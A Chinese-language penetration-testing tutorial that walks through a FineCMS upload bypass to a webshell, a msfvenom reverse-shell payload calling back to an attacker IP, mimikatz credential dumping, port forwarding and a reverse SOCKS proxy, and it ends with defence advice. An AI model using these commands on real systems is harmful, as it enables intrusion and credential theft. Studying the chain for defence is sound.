Windows内网渗透技术详解

一、前言

内网渗透通常有两种主要思路：

1. 通过攻击外网服务器获取权限，利用其作为跳板攻击内网其他服务器
2. 通过社工等方法攻击企业办公网的电脑、无线网络，控制办公电脑获取数据

本文重点介绍第一种思路的技术实现。

二、初始入侵：获取Webshell

1. 目标识别

• 目标网站使用FineCMS v5系统建站
• 发现会员头像处存在文件上传漏洞

2. 漏洞利用步骤

1. 注册新用户账号
2. 在会员头像上传处准备上传一句话木马
3. 原始文件格式为0x0.png
4. 使用Burp Suite拦截请求，将Content-Type从image/png改为image/php
5. 上传成功后验证：输入参数v=phpinfo();查看是否执行成功

3. 连接Webshell

• 使用中国菜刀连接上传的Webshell
• 连接参数：网站路径和一句话木马密码
• 通过Webshell可进行初步的服务器操作和数据库提权尝试

三、权限提升与远程控制

1. 制作免杀木马

使用MSFVenom生成反弹Shell木马：

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4444 -f exe > /root/Desktop/su.exe

2. 上传工具

通过已获取的Webshell上传：

• 免杀木马(su.exe)
• 其他必要工具(如lcx端口转发工具)

3. Metasploit监听配置

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.10.130
run

4. 执行木马

通过Webshell的虚拟终端模拟点击操作，触发木马执行

5. 获取系统凭证

在Meterpreter会话中：

hashdump              # 获取系统哈希
load mimikatz         # 加载Mimikatz模块
kerberos              # 获取Kerberos凭证

6. 开启远程桌面

run getgui -e         # 启用远程桌面服务

四、端口转发技术

方法一：使用Meterpreter端口转发

portfwd add -l 5555 -p 3389 -r 目标IP

连接命令：

rdesktop -u 用户名 -p 密码 127.0.0.1:5555

方法二：使用lcx工具

1. 靶机执行：

lcx.exe -slave 攻击机IP 5555 目标IP 3389

2. 攻击机执行：

lcx.exe -listen 5555 33891

3. 使用mstsc连接127.0.0.1:33891

五、内网横向移动

1. 添加路由

run autoroute -s 10.10.10.0/24

2. 内网扫描

• 扫描10.10.10.0/24网段
• 识别存在漏洞的主机(如10.10.10.102)
• 尝试利用MS17-010等漏洞

3. 反向代理建立

1. 攻击机执行：

ew.exe -s rcsocks -l 1080 -e 8888

2. 已控服务器执行：

ew -s rssocks -d 攻击机IP -e 8888

4. 使用代理工具

• 配置SocksCap64工具
• 添加IP和端口(反向代理设置)
• 通过代理连接内网主机(如10.10.10.101)

六、总结与防护建议

渗透要点总结

1. 外网入口点常通过Web应用漏洞获取
2. 内网渗透依赖权限维持和横向移动技术
3. 端口转发和代理是突破网络隔离的关键
4. 凭证获取是内网扩展的核心

防御建议

1. 及时修补Web应用漏洞
2. 限制上传文件类型和内容检查
3. 网络分段隔离，限制横向移动
4. 监控异常端口转发行为
5. 定期更换高权限账户密码
6. 禁用不必要的远程服务

七、工具清单

1. Burp Suite - HTTP拦截与修改
2. 中国菜刀 - Webshell管理
3. MSFVenom - 木马生成
4. Metasploit - 漏洞利用框架
5. lcx/ew - 端口转发工具
6. SocksCap64 - 代理工具
7. Mimikatz - 凭证提取工具

通过以上技术路线，攻击者可以完成从外网入侵到内网控制的完整渗透过程。防御方应针对每个环节部署相应的防护措施。